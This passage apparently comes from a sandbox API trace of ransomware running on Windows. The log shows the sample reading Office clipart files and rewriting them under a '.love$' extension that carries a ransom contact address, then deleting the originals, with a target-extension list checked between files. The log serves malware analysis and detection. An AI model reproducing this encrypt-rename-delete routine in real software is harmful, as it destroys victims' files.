Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0260.841] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.841] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0260.843] GetLastError () returned 0x0 [0260.843] ReadFile (in: hFile=0x580, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x5b04, lpOverlapped=0x0) returned 1 [0260.852] WriteFile (in: hFile=0x584, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5b10, lpOverlapped=0x0) returned 1 [0260.853] ReadFile (in: hFile=0x580, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.853] WriteFile (in: hFile=0x584, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.854] SetEndOfFile (hFile=0x584) returned 1 [0260.854] CloseHandle (hObject=0x584) returned 1 [0260.854] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.854] SetEndOfFile (hFile=0x580) returned 1 [0260.858] CloseHandle (hObject=0x580) returned 1 [0260.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0260.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0260.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0260.861] lstrlenW (lpString=".doc") returned 4 [0260.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.861] lstrlenW (lpString=".docx") returned 5 [0260.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.861] lstrlenW (lpString=".pdf") returned 4 [0260.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.861] lstrlenW (lpString=".xls") returned 4 [0260.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.861] lstrlenW (lpString=".xlsx") returned 5 [0260.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.862] lstrlenW (lpString=".ppt") returned 4 [0260.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0260.862] lstrlenW (lpString=".zip") returned 4 [0260.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.862] lstrlenW (lpString=".rar") returned 4 [0260.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.862] lstrlenW (lpString=".bz2") returned 4 [0260.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.862] lstrlenW (lpString=".7z") returned 3 [0260.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0260.862] lstrlenW (lpString=".dbf") returned 4 [0260.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0260.863] lstrlenW (lpString=".1cd") returned 4 [0260.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0260.863] lstrlenW (lpString=".jpg") returned 4 [0260.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0260.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0260.863] lstrlenW (lpString=".doc") returned 4 [0260.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.863] lstrlenW (lpString=".docx") returned 5 [0260.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.863] lstrlenW (lpString=".pdf") returned 4 [0260.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.863] lstrlenW (lpString=".xls") returned 4 [0260.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.863] lstrlenW (lpString=".xlsx") returned 5 [0260.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.863] lstrlenW (lpString=".ppt") returned 4 [0260.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0260.863] lstrlenW (lpString=".zip") returned 4 [0260.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.864] lstrlenW (lpString=".rar") returned 4 [0260.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.864] lstrlenW (lpString=".bz2") returned 4 [0260.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.864] lstrlenW (lpString=".7z") returned 3 [0260.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0260.864] lstrlenW (lpString=".dbf") returned 4 [0260.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0260.864] lstrlenW (lpString=".1cd") returned 4 [0260.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0260.864] lstrlenW (lpString=".jpg") returned 4 [0260.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.864] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0260.864] lstrlenW (lpString="IN00046_.WMF") returned 12 [0260.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0260.885] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1158) returned 1 [0260.885] CloseHandle (hObject=0x564) returned 1 [0260.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220 [0260.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0260.886] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.886] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0260.888] GetLastError () returned 0x0 [0260.888] ReadFile (in: hFile=0x564, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x486, lpOverlapped=0x0) returned 1 [0260.892] WriteFile (in: hFile=0x57c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x490, lpOverlapped=0x0) returned 1 [0260.893] ReadFile (in: hFile=0x564, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.893] WriteFile (in: hFile=0x57c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.894] SetEndOfFile (hFile=0x57c) returned 1 [0260.894] CloseHandle (hObject=0x57c) returned 1 [0260.894] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.894] SetEndOfFile (hFile=0x564) returned 1 [0260.899] CloseHandle (hObject=0x564) returned 1 [0260.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0260.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0260.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0260.921] lstrlenW (lpString=".doc") returned 4 [0260.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.921] lstrlenW (lpString=".docx") returned 5 [0260.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.921] lstrlenW (lpString=".pdf") returned 4 [0260.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.922] lstrlenW (lpString=".xls") returned 4 [0260.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.922] lstrlenW (lpString=".xlsx") returned 5 [0260.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.923] lstrlenW (lpString=".ppt") returned 4 [0260.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0260.923] lstrlenW (lpString=".zip") returned 4 [0260.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.923] lstrlenW (lpString=".rar") returned 4 [0260.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.923] lstrlenW (lpString=".bz2") returned 4 [0260.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.923] lstrlenW (lpString=".7z") returned 3 [0260.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0260.923] lstrlenW (lpString=".dbf") returned 4 [0260.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0260.923] lstrlenW (lpString=".1cd") returned 4 [0260.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0260.923] lstrlenW (lpString=".jpg") returned 4 [0260.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0260.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0260.924] lstrlenW (lpString=".doc") returned 4 [0260.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.924] lstrlenW (lpString=".docx") returned 5 [0260.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.924] lstrlenW (lpString=".pdf") returned 4 [0260.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.924] lstrlenW (lpString=".xls") returned 4 [0260.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.924] lstrlenW (lpString=".xlsx") returned 5 [0260.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.924] lstrlenW (lpString=".ppt") returned 4 [0260.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0260.925] lstrlenW (lpString=".zip") returned 4 [0260.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.925] lstrlenW (lpString=".rar") returned 4 [0260.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.925] lstrlenW (lpString=".bz2") returned 4 [0260.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.925] lstrlenW (lpString=".7z") returned 3 [0260.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0260.925] lstrlenW (lpString=".dbf") returned 4 [0260.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0260.925] lstrlenW (lpString=".1cd") returned 4 [0260.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0260.925] lstrlenW (lpString=".jpg") returned 4 [0260.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.925] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0260.925] lstrlenW (lpString="IN00177_.WMF") returned 12 [0260.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0260.927] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1074) returned 1 [0260.927] CloseHandle (hObject=0x564) returned 1 [0260.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220 [0260.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0260.928] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.928] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0260.930] GetLastError () returned 0x0 [0260.930] ReadFile (in: hFile=0x564, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x432, lpOverlapped=0x0) returned 1 [0260.934] WriteFile (in: hFile=0x584, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x440, lpOverlapped=0x0) returned 1 [0260.935] ReadFile (in: hFile=0x564, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.935] WriteFile (in: hFile=0x584, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.936] SetEndOfFile (hFile=0x584) returned 1 [0260.936] CloseHandle (hObject=0x584) returned 1 [0260.936] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.936] SetEndOfFile (hFile=0x564) returned 1 [0260.943] CloseHandle (hObject=0x564) returned 1 [0260.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0260.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0260.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0260.945] lstrlenW (lpString=".doc") returned 4 [0260.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.945] lstrlenW (lpString=".docx") returned 5 [0260.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.945] lstrlenW (lpString=".pdf") returned 4 [0260.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.945] lstrlenW (lpString=".xls") returned 4 [0260.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.945] lstrlenW (lpString=".xlsx") returned 5 [0260.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.945] lstrlenW (lpString=".ppt") returned 4 [0260.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0260.945] lstrlenW (lpString=".zip") returned 4 [0260.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.945] lstrlenW (lpString=".rar") returned 4 [0260.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.945] lstrlenW (lpString=".bz2") returned 4 [0260.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.946] lstrlenW (lpString=".7z") returned 3 [0260.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0260.946] lstrlenW (lpString=".dbf") returned 4 [0260.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0260.946] lstrlenW (lpString=".1cd") returned 4 [0260.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0260.946] lstrlenW (lpString=".jpg") returned 4 [0260.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0260.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0260.946] lstrlenW (lpString=".doc") returned 4 [0260.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.946] lstrlenW (lpString=".docx") returned 5 [0260.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.946] lstrlenW (lpString=".pdf") returned 4 [0260.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.946] lstrlenW (lpString=".xls") returned 4 [0260.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.946] lstrlenW (lpString=".xlsx") returned 5 [0260.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.946] lstrlenW (lpString=".ppt") returned 4 [0260.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0260.946] lstrlenW (lpString=".zip") returned 4 [0260.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.946] lstrlenW (lpString=".rar") returned 4 [0260.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.947] lstrlenW (lpString=".bz2") returned 4 [0260.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.947] lstrlenW (lpString=".7z") returned 3 [0260.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0260.947] lstrlenW (lpString=".dbf") returned 4 [0260.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0260.947] lstrlenW (lpString=".1cd") returned 4 [0260.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0260.947] lstrlenW (lpString=".jpg") returned 4 [0260.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.947] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0260.947] lstrlenW (lpString="IN00204_.WMF") returned 12 [0260.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0260.949] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1848) returned 1 [0260.949] CloseHandle (hObject=0x564) returned 1 [0260.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220 [0260.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 